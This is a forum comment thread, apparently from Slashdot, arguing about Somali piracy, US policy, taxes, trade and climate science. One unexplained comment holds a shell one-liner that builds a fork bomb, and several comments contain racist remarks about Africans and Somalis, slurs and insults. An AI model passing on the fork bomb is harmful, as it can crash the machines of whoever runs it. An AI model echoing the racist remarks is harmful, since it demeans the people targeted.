What... did you even read his post? He's not using violence first, he's responding to violence with violence.
Using violence first, which is a great idea by the way, is seeking out the pirate bases and destroying them. Don't bother waiting for an attack. It makes a lot of sense and would solve the problem a lot faster.
Violence is a tool. You're just a pussy.
Yes, because those "tribes" summoned all those weapons from the sky. With negroid majicks.
Somalia is literally being invaded CONSTANTLY. Their non-government controlled society is the only type that could every hold up to such an invasion. But then, I guess you'd prefer they just had a strongman in charge stepping on baby skulls like the rest of Africa.
I think the preponderance of evidence shows that those two sides are actually the same.
Hmmm, we fish their seas to sterility, and then the locals get pissed and start seizing foreign vessels trespassing in their territorial waters. Solution? KILL EM ALL.
Yes, Bush II was also a liberal (or Obama is a conservative, as he has carried on or "enhanced" every one of Bush II's policies). Just like every republican going back to Reagan. They were traitors.
Maybe someday, people will learn that "both" parties long ago become ONE party with two wings, so that they could eternally blame everything on one side or the other, while the fascists remain in firm control.
And now we finger fuck 96 year old wheelchair bound ladies in the name of "safety". As long as we stand for this crap, we don't deserve either liberty or safety.
Yes, cut taxes while simultaneously increasing regulations and then blame the negative effects of one on the other in a method that makes zero sense. The partisan doublethinkers will then prevent any realistic debate from happening forever, and we can continue to steal all the monies forever!
Odd that the "US arms stockpiles" consist mostly of Soviet weapons (AK-47s and such)....
"I do not agree with what you say, but I will defend to the death your right to say it"
Decentness? I'm guessing you mean descendents, but this one is so bizarre I can't be sure....
"I do not agree with what you say, but I will defend to the death your right to say it"
I don't disagree with you. I was just trying to provide some balance for the GP.
Divide and conquer is the fascist/corporate mantra.
The US supply and a "foreign" rifle are not mutually exclusive.
The US is the WORLD'S BIGGEST supplier of AK-47 (Kalashnikov):
http://www.nytimes.com/2007/07/15/weekinreview/15chivers.html
http://www.mouseguns.com/ak47info/ak47info.htm
"Flyin' in just a sweet place,
Never been known to fail..."
You must not be paying much attention. With the exception of Ron Paul, the "government is the problem" neo-con demagogues, from Reagan to W. to Scott Walker, have always been in favor of dismantling anything that threatens corporate privilege, so they are wholeheartedly against law enforcement and judicial due process - at least at the corporate level.
Nice rundown of the priorities of Reaganism. Big Government based on the Big Lie of small government - you've described modern "conservatives" perfectly!
That's a nice glittering generality there - everything would be perfect if everything was perfect. That's the "limited government" soft-soap that every neo-con is always talking about, but once they get elected they increase the size and costs of government at nearly every opportunity.
People like yourself really need to find a candidate who is willing to state up front what those "bones" are, and who has a record of acting with consistency and honor (that rules out nearly everyone in my own political party unfortunately). Rand Paul ain't it, and neither is Sarah Palin; stupidity and blind worship of wealth is not a recipe for good government.
Taxes can be ultra-low without lawlessness, and piracy and looting are not "free market". We have have in the U.S. a bloated federal government that acts for a very small wealthy elite, more than four times the size necessary to carry out the duties outlined in the Constitution.
Which really casts doubt onto the simplistic narrative of "evil corporations" that want to destroy the country and enslave everybody.
Nah they just want to make money with no eye for the long term consequences. This narrative is also simplistic but it's mostly true.
The CIA is actively engaged in ongoing operations in Somalia - with collusion by "legitimate" government (CIA-backed thugs), to ensure a plan that extends US power dominance over the Horn of Africa and the strategic passage of the Arabian Sea. With several live conflicts at once, the US profits through maintaining and exploiting chaos and disorder, as an effective way to achieve goals without full-blown miltary dominance.
Jeremy Scahill exposed many details of the latest specific CIA activities - including secret prisons and torture - in The Nation, last week.
In Salon.com, Glen Greenwald deconstructs much of the US noise about Somali "terrorism" in light of Scahill. He continues exposing the "coverage" of Somalia's political turmoil by NYT and LAT as CIA and State Dept stenography.:
Ultimately, the exacerbating cause of conflict and turmoil throughout the region which includes Somalia and Yemen is the same as that in Central Asia - the imperial subversion and aggression by the United States, inheritor of the mantle "Evil Empire".
"Flyin' in just a sweet place,
Never been known to fail..."
And the aqueduct.
Dark Reflection
I think it's got naught to do with the teabaggers. It's entirely possible to be a treehugger and a teabagger.
Of course piracy and looting are "free market". You should enter into a private contract with pirates if you don't want them to loot your stuff. Alternately, as a private citizen you can hire a private police force to enforce your property claims. Having a state-run police force is socialism -- yes, literally: as government employees that is socialized police work.
If you want to claim that taxes can be ultra-low without lawlessness, then provide examples. I can't think of a place which has both small government and prevailing peace and prosperity. Because I am a man of evidence, I have come through experience to reject the claims of libertarians/free marketers/tea partiers. I just don't think the claims reflect reality, but I'm ready for the slew of examples you're going to bury me in.
Or, we could do it backwards. Name all the best places in the world, and then let's talk about the taxes in those places. Bonus points if you have actually put your money where your mouth is, and moved to one of those places. Extra bonus points if you can prove how awesome low taxes are by showing mass human migration to those places.
"I'm not sure what the hell you're trying to say, but I will defend to the death your right to say it"
Trade actually. Largely the slave trade, but that was legal at the time, so that was OK then.
Birds are not dinosaur descendants;birds are dinosaurs, for all useful meanings of "birds", "are" and "dinosaurs"
Violence is the last resort of a fool, thats why its so popular in the US.....
Ohhhh, you got so close and then WHOOSH ya missed it. The problem isn't "its da regulationz!" although I would argue that some of the regs are dumbshit. The problem is a lie that has been pushed for 20+ years, starting with a Dem by the name of Clinton. Ready for the revelation? here goes...THERE IS NO FREE TRADE!
To call treating as equals a country that literally lets corps use their storm drains as toxic waste dumps, where the air and water are so bad that 9 out of 10 highest cancer rates are all in a single area, and where children need masks to go outside to play as "free trade" is as asinine as saying a football game between your local HS and the Denver Broncos is a "fair test of athletic skill".
The hilarious part? It does NOT work both ways. India is sinking billions into Aerospace rather than buy from us, China buys one or two then reverse engineers or just steals, like digging up the F117 that crashed in Kosovo to steal our stealth tech.
But you see our "give us more MONIES nom nom nom" party (which is quickly becoming the ONLY party) just gets a sly grin and says "Oh they're nationalists" like that is just cute for them, but then go on to rail about how being nationalist or isolationist is "ZOMFG EVIL!" when it comes to us.
Well fuck them and fuck their bullshit. THERE IS NO FREE TRADE and the quicker we lock down the borders and tariff the living hell out of those that pollute the planet the better! Oh and those companies that move to China? Should have to take their headquarters with them. No more house in the Hamptons for you, hope you like the air in China. don't let the door hit you on the way out!
ACs don't waste your time replying, your posts are never seen by me.
The instruments are probably not designed to be deployed from an aircraft. I imagine a couple of destroyers accompanying the research vessel would be pretty effective though.
Corporations (for the most part) aren't evil, they're amoral. Their eye is on the bottom line and the next quarterly report. They don't spend a lot of time considering the long term effects of their actions. From a (natural) human point of view some of the effects are evil.
Stopped the roman advance then.. continued building mud huts for 2000 years.
Compare Africa to anywhere, The Middle East, Asia, Europe, South America. You will see others have moved forward.
Divide a cake by zero. Is it still a cake?
Leave it up to a bunch of pencil pushing DEMOCRATS to fuck up a military operation. RLTW.
FTFY.
The sad thing is at least Clinton seemed to do ok with the economy. Obama can't even get that right.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
why not pull a hostile takeover on the somali pirates and make a real enterprise out of it? startup costs are not prohibitive assuming you can find some willing participants to join you in the endeavor. insurance and legal costs are minimal. the world is awash in small arms and un/underemployed. there is a lot of profit there for someone.
"That was the USA trying to keep enough order that famine relief could be brought in"
No, that was the US military blasting the living shit out of everything that moved, armed or unarmed, on either side of what was formerly a rather vicious but very local conflict, and being shocked that people shot back. "Our" military has that habit, and "our" soldiers are continually surprised when people attempt to defend their homes and families. I've never been clear why that might be, something in the brainwashing they go through in Basic Training, I suppose.
"Think about how stupid the average person is. Now, realise that half of them are dumber than that." - George Carlin
Why should "our" governments have to foot the bill for what is in all honesty a multinational corporation's problem? I'm sick and tired of spending hundreds of millions of tax dollars protecting the pipelines of Occidental Petroleum and drilling platforms of Shell, the fleets of Maersk and Hyundai, or Anaconda's mines. If they want protection then let the bastards pay for it, it's not like any of them are actually shelling out a penny to pay taxes here. If they want the 7th Fleet to accompany them through the Indian Ocean let them cough up a few million out of their truly grotesque profits and pay for it. If "our" military is already essentially a mercenary force protecting the multinationals, let's be honest and have the multinationals foot the bill.
"Think about how stupid the average person is. Now, realise that half of them are dumber than that." - George Carlin
It's up to the Climate "Scientists" (i use that term very loosely) to prove that CO2 causes dangerous warming.
Venus.
For that matter, high school physics classes do the experiment all the time, measuring heat retained with a concentration of X-percent of CO2 and heat retained by Y-percent concentration. It ain't rocket science, it's just basic physics that have been well-established for over a century.
Oh, that's right, physics works differently in the labs of petro-conglomerates, so there's nothing to worry about.
"Think about how stupid the average person is. Now, realise that half of them are dumber than that." - George Carlin
You do realize that what the Pentagon would refer to as a 'pirate base' a more rational individual would refer to as a 'coastal fishing village', don't you? Those tend to be full of non-combatants, women, children, and the like.
Oh, that's right, they're brown people so it doesn't matter. Never mind.
"Think about how stupid the average person is. Now, realise that half of them are dumber than that." - George Carlin
Cutting taxes will only boost the economy if the economy is being choked by the taxes. That's not even close to what's happening in the western world so tax cuts won't boost the economy, only empty the govt's coffers. Maybe in an extreme case it can turn you into a tax haven but that's not a terribly good idea either as Ireland's troubles show.
Justice is the sheep getting arrested while an impartial judge declares the vote void.
Well, if you don't understand how uncertainty is quantified in science then I would say you don't know what real science is. It's a key concept in science.
How can you make a prediction when it's impossible to know ahead of time how much CO2 will be added to the atmosphere or what the Sun is going to do in its cycles and a number of other things? Instead you create various scenarios for reasonable possibilities and base your expectations on those.
If you find 100 other errors like the Himalayan Glacier typo in the IPCC AR4 then maybe I'll start wondering about it. In a report with literally thousands of predictions from hundreds of authors 4 or 5 mistakes isn't enough to take it down.